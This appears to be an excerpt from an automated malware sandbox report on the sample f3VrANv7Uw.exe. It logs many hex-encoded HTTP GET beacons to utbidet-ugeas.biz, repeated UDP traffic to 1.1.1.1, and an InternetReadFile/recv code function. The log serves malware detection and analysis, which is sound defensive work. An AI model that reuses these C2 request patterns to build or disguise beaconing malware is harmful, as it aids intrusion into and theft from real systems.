Source: global traffic	HTTP traffic detected: GET /d/N?02F3C70FE2F7C70FE2C1C727E2F3C7DC7E7BC40BA4F2C7CF4AF1C239CCC1E936D0C3F721E2 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02A2A15239A6A1523990A17A39A2A181A52AA2567FA3A19291A0A46417908F6B0B92917C39 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02A2A15239A6A1523990A17A39A2A181A52AA2567FA3A19291A0A46417908F6B0B92917C39 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?029A328EEA9E328EEAA832A6EA9A325D7612318AAC9B324E429837B8C4A81CB7D8AA02A0EA HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?029A328EEA9E328EEAA832A6EA9A325D7612318AAC9B324E429837B8C4A81CB7D8AA02A0EA HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02E4E8BC79E0E8BC79D6E89479E4E86FE56CEBB83FE5E87CD1E6ED8A57D6C6854BD4D89279 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02E4E8BC79E0E8BC79D6E89479E4E86FE56CEBB83FE5E87CD1E6ED8A57D6C6854BD4D89279 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?022471DA242071DA241671F224247109B8AC72DE6225711A8C2674EC0A165FE3161441F424 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?022471DA242071DA241671F224247109B8AC72DE6225711A8C2674EC0A165FE3161441F424 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0290624A2D94624A2DA262622D906299B118614E6B91628A8592677C03A24C731FA052642D HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0290624A2D94624A2DA262622D906299B118614E6B91628A8592677C03A24C731FA052642D HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0230CB89F434CB89F402CBA1F430CB5A68B8C88DB231CB495C32CEBFDA02E5B0C600FBA7F4 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0230CB89F434CB89F402CBA1F430CB5A68B8C88DB231CB495C32CEBFDA02E5B0C600FBA7F4 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02DFC579CEDBC579CEEDC551CEDFC5AA5257C67D88DEC5B966DDC04FE0EDEB40FCEFF557CE HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02DFC579CEDBC579CEEDC551CEDFC5AA5257C67D88DEC5B966DDC04FE0EDEB40FCEFF557CE HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02C255B05CC655B05CF055985CC25563C04A56B41AC35570F4C0508672F07B896EF2659E5C HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02C255B05CC655B05CF055985CC25563C04A56B41AC35570F4C0508672F07B896EF2659E5C HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02A280D965A680D9659080F165A2800AF92A83DD23A38019CDA085EF4B90AEE05792B0F765 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02A280D965A680D9659080F165A2800AF92A83DD23A38019CDA085EF4B90AEE05792B0F765 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0222AC570726AC570710AC7F0722AC849BAAAF534123AC97AF20A9612910826E35129C7907 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0222AC570726AC570710AC7F0722AC849BAAAF534123AC97AF20A9612910826E35129C7907 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?028C245EC388245EC3BE2476C38C248D5F04275A858D249E6B8E2168EDBE0A67F1BC1470C3 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?028C245EC388245EC3BE2476C38C248D5F04275A858D249E6B8E2168EDBE0A67F1BC1470C3 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0238A7C8CD3CA7C8CD0AA7E0CD38A71B51B0A4CC8B39A708653AA2FEE30A89F1FF0897E6CD HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0238A7C8CD3CA7C8CD0AA7E0CD38A71B51B0A4CC8B39A708653AA2FEE30A89F1FF0897E6CD HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02440A4574400A4574760A6D74440A96E8CC094132450A85DC460F735A76247C46743A6B74 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02440A4574400A4574760A6D74440A96E8CC094132450A85DC460F735A76247C46743A6B74 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?020C96BF400896BF403E9697400C966CDC8495BB060D967FE80E93896E3EB886723CA69140 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?020C96BF400896BF403E9697400C966CDC8495BB060D967FE80E93896E3EB886723CA69140 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02C22CEFF3C62CEFF3F02CC7F3C22C3C6F4A2FEBB5C32C2F5BC029D9DDF002D6C1F21CC1F3 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02C22CEFF3C62CEFF3F02CC7F3C22C3C6F4A2FEBB5C32C2F5BC029D9DDF002D6C1F21CC1F3 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02C45977D0C05977D0F6595FD0C459A44C4C5A7396C559B778C65C41FEF6774EE2F46959D0 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02C45977D0C05977D0F6595FD0C459A44C4C5A7396C559B778C65C41FEF6774EE2F46959D0 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?020FE83E530BE83E533DE816530FE8EDCF87EB3A150EE8FEFB0DED087D3DC607613FD81053 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?020FE83E530BE83E533DE816530FE8EDCF87EB3A150EE8FEFB0DED087D3DC607613FD81053 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Users\user\Desktop\f3VrANv7Uw.exe

Code function: 0_2_0040263A InternetReadFile,select,recv,

0_2_0040263A

Source: global traffic	HTTP traffic detected: GET /d/N?0238509317385093170A50BF173850408BB0539751395053BF3A55A5390A7EAA250860BD17 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0238509317385093170A50BF173850408BB0539751395053BF3A55A5390A7EAA250860BD17 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02F9817318F9817318CB815F18F981A0847182775EF881B3B0FB844536CBAF4A2AC9B15D18 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F9817318F9817318CB815F18F981A0847182775EF881B3B0FB844536CBAF4A2AC9B15D18 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02DF32E9EBDF32E9EBED32C5EBDF323A775731EDADDE322943DD37DFC5ED1CD0D9EF02C7EB HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02DF32E9EBDF32E9EBED32C5EBDF323A775731EDADDE322943DD37DFC5ED1CD0D9EF02C7EB HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02662B7E38662B7E38542B5238662BADA4EE287A7E672BBE90642E48165405470A561B5038 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02662B7E38662B7E38542B5238662BADA4EE287A7E672BBE90642E48165405470A561B5038 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?029C4E8EC09C4E8EC0AE4EA2C09C4E5D5C144D8A869D4E4E689E4BB8EEAE60B7F2AC7EA0C0 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?029C4E8EC09C4E8EC0AE4EA2C09C4E5D5C144D8A869D4E4E689E4BB8EEAE60B7F2AC7EA0C0 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0258BC40CD58BC40CD6ABC6CCD58BC9351D0BF448B59BC80655AB976E36A9279FF688C6ECD HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0258BC40CD58BC40CD6ABC6CCD58BC9351D0BF448B59BC80655AB976E36A9279FF688C6ECD HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?022E7402612A7402611C742A612E74D1FDA67706272F74C2C92C71344F1C5A3B531E442C61 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?022E7402612A7402611C742A612E74D1FDA67706272F74C2C92C71344F1C5A3B531E442C61 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02E00271C9E40271C9D20259C9E002A2556801758FE102B161E20747E7D22C48FBD0325FC9 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02E00271C9E40271C9D20259C9E002A2556801758FE102B161E20747E7D22C48FBD0325FC9 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02483F39874C3F39877A3F1187483FEA1BC03C3DC1493FF92F4A3A0FA97A1100B5780F1787 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02483F39874C3F39877A3F1187483FEA1BC03C3DC1493FF92F4A3A0FA97A1100B5780F1787 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0264C737B960C737B956C71FB964C7E425ECC433FF65C7F71166C2019756E90E8B54F719B9 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0264C737B960C737B956C71FB964C7E425ECC433FF65C7F71166C2019756E90E8B54F719B9 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02C6E82343C2E82343F4E80B43C6E8F0DF4EEB2705C7E8E3EBC4ED156DF4C61A71F6D80D43 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02C6E82343C2E82343F4E80B43C6E8F0DF4EEB2705C7E8E3EBC4ED156DF4C61A71F6D80D43 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02683F99916C3F99915A3FB191683F4A0DE03C9DD7693F59396A3AAFBF5A11A0A3580FB791 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02683F99916C3F99915A3FB191683F4A0DE03C9DD7693F59396A3AAFBF5A11A0A3580FB791 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02F3B38DB4F7B38DB4C1B3A5B4F3B35E287BB089F2F2B34D1CF1B6BB9AC19DB486C383A3B4 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02F3B38DB4F7B38DB4C1B3A5B4F3B35E287BB089F2F2B34D1CF1B6BB9AC19DB486C383A3B4 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02C4360C9AC0360C9AF636249AC436DF064C3508DCC536CC32C6333AB4F61835A8F406229A HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02C4360C9AC0360C9AF636249AC436DF064C3508DCC536CC32C6333AB4F61835A8F406229A HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02CA2C2C1ACE2C2C1AF82C041ACA2CFF86422F285CCB2CECB2C8291A34F8021528FA1C021A HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02CA2C2C1ACE2C2C1AF82C041ACA2CFF86422F285CCB2CECB2C8291A34F8021528FA1C021A HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02ECBB5287E8BB5287DEBB7A87ECBB811B64B856C1EDBB922FEEBE64A9DE956BB5DC8B7C87 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02ECBB5287E8BB5287DEBB7A87ECBB811B64B856C1EDBB922FEEBE64A9DE956BB5DC8B7C87 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?023415CCA13015CCA10615E4A134151F3DBC16C8E735150C093610FA8F063BF5930425E2A1 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?023415CCA13015CCA10615E4A134151F3DBC16C8E735150C093610FA8F063BF5930425E2A1 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?025CCC369E58CC369E6ECC1E9E5CCCE502D4CF32D85DCCF6365EC900B06EE20FAC6CFC189E HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?025CCC369E58CC369E6ECC1E9E5CCCE502D4CF32D85DCCF6365EC900B06EE20FAC6CFC189E HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02888F37DC8C8F37DCBA8F1FDC888FE440008C339A898FF7748A8A01F2BAA10EEEB8BF19DC HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02888F37DC8C8F37DCBA8F1FDC888FE440008C339A898FF7748A8A01F2BAA10EEEB8BF19DC HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0270B0DD7874B0DD7842B0F57870B00EE4F8B3D93E71B01DD072B5EB56429EE44A4080F378 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0270B0DD7874B0DD7842B0F57870B00EE4F8B3D93E71B01DD072B5EB56429EE44A4080F378 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02B0839E3FB4839E3F8283B63FB0834DA338809A79B1835E97B286A81182ADA70D80B3B03F HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02B0839E3FB4839E3F8283B63FB0834DA338809A79B1835E97B286A81182ADA70D80B3B03F HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0222ACE7EF26ACE7EF10ACCFEF22AC3473AAAFE3A923AC274720A9D1C11082DEDD129CC9EF HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0222ACE7EF26ACE7EF10ACCFEF22AC3473AAAFE3A923AC274720A9D1C11082DEDD129CC9EF HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0260AF5AAD64AF5AAD52AF72AD60AF8931E8AC5EEB61AF9A0562AA6C835281639F509F74AD HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0260AF5AAD64AF5AAD52AF72AD60AF8931E8AC5EEB61AF9A0562AA6C835281639F509F74AD HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02901E6DC6941E6DC6A21E45C6901EBE5A181D6980911EAD6E921B5BE8A23054F4A02E43C6 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02901E6DC6941E6DC6A21E45C6901EBE5A181D6980911EAD6E921B5BE8A23054F4A02E43C6 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02BE5D624BBA5D624B8C5D4A4BBE5DB1D7365E660DBF5DA2E3BC5854658C735B798E6D4C4B HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02BE5D624BBA5D624B8C5D4A4BBE5DB1D7365E660DBF5DA2E3BC5854658C735B798E6D4C4B HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0230F2A4CC34F2A4CC02F28CCC30F27750B8F1A08A31F2646432F792E202DC9DFE00C28ACC HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0230F2A4CC34F2A4CC02F28CCC30F27750B8F1A08A31F2646432F792E202DC9DFE00C28ACC HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0260CBA4E364CBA4E352CB8CE360CB777FE8C8A0A561CB644B62CE92CD52E59DD150FB8AE3 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0260CBA4E364CBA4E352CB8CE360CB777FE8C8A0A561CB644B62CE92CD52E59DD150FB8AE3 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?0204387E3A00387E3A3638563A0438ADA68C3B7A7C0538BE92063D4814361647083408503A HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?0204387E3A00387E3A3638563A0438ADA68C3B7A7C0538BE92063D4814361647083408503A HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?02B2064794B606479480066F94B20694083A0543D2B306873CB00371BA80287EA682366994 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?02B2064794B606479480066F94B20694083A0543D2B306873CB00371BA80287EA682366994 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?023878CFF83C78CFF80A78E7F838781C64B07BCBBE39780F503A7DF9D60A56F6CA0848E1F8 HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
Source: global traffic	HTTP traffic detected: GET /d/N?023878CFF83C78CFF80A78E7F838781C64B07BCBBE39780F503A7DF9D60A56F6CA0848E1F8 HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Win32)Host: utbidet-ugeas.bizCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d/N?022958A28F2D58A28F1B588A8F29587113A15BA6C9285862272B5D94A11B769BBD19688C8F HTTP/1.0Host: utbidet-ugeas.bizUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0)
